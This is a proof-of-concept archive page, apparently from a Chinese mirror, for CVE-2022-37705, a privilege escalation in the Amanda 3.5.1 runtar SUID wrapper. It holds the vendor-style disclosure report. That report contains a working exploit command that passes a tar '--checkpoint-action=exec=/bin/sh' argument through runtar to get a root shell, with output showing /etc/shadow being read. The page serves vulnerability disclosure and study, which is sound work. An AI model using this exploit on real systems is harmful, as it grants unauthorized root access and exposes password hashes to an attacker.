Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2022-37705 PoC — Amanda 参数注入漏洞

Source
Associated Vulnerability
Title: Amanda 参数注入漏洞 (CVE-2022-37705)
Description:A privilege escalation flaw was found in Amanda 3.5.1 in which the backup user can acquire root privileges. The vulnerable component is the runtar SUID program, which is a wrapper to run /usr/bin/tar with specific arguments that are controllable by the attacker. This program mishandles the arguments passed to tar binary (it expects that the argument name and value are separated with a space; however, separating them with an equals sign is also supported),
Description
Amanda 3.5.1 second LPE.
Readme
> [Suggested description]
> A privilege escalation flaw was found on Amanda 3.5.1 that can take
> backup user to root privileges. The vulnerable component is the runtar
> SUID that is just a wrapper to run /usr/bin/tar with specific arguments
> that are controllable by the attacker. The program does not check
> correctly the args passed to tar binary (it assumes that all args
> should be like this --ARG VALUE but we can provide this --ARG=VALUE as
> one argument).
>
> ------------------------------------------
>
> [Additional Information]
> This flaw can be used for Code Execution, Denial of Service, Escalation of Privileges and Information Disclosure.
> This is the PoC to exploit it and get a root shell:
> backup@maher:/lib/amanda$ id
> uid=34(backup) gid=34(backup) groups=34(backup),6(disk),26(tape)
>
> backup@maher:/lib/amanda$ head /etc/shadow
> head: cannot open '/etc/shadow' for reading: Permission denied
>
> backup@maher:/lib/amanda$ ./runtar NOCONFIG tar  --create --file=/dev/null --checkpoint=1 --directory=. --checkpoint-action=exec=/bin/sh /dev/null
> tar: Removing leading `/' from member names
> # head /etc/shadow
> root:!:19132:0:99999:7:::
> daemon:*:19101:0:99999:7:::
> bin:*:19101:0:99999:7:::
> sys:*:19101:0:99999:7:::
> sync:*:19101:0:99999:7:::
> games:*:19101:0:99999:7:::
> man:*:19101:0:99999:7:::
> lp:*:19101:0:99999:7:::
> mail:*:19101:0:99999:7:::
> news:*:19101:0:99999:7:::
> #
>
> ------------------------------------------
>
> [VulnerabilityType Other]
> Flawed Arguments Checking.
>
> ------------------------------------------
>
> [Vendor of Product]
> Amanda
>
> ------------------------------------------
>
> [Affected Product Code Base]
> runtar - 3.5.1
>
> ------------------------------------------
>
> [Affected Component]
> The affected SUID binary is : runtar
> The affected file is : runtar.c
> The affected lines of code start at line 162.
>
> ------------------------------------------
>
> [Attack Type]
> Local
>
> ------------------------------------------
>
> [Impact Code execution]
> true
>
> ------------------------------------------
>
> [Impact Denial of Service]
> true
>
> ------------------------------------------
>
> [Impact Escalation of Privileges]
> true
>
> ------------------------------------------
>
> [Impact Information Disclosure]
> true
>
> ------------------------------------------
>
> [Attack Vectors]
> To exploit the binary you just have to give crafted arguments to the runtar SUID binary to escalate to root.
>
> ------------------------------------------
>
> [Reference]
> http://www.amanda.org/
>
> ------------------------------------------
>
> [Discoverer]
> Maher Azzouzi

Use CVE-2022-37705.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →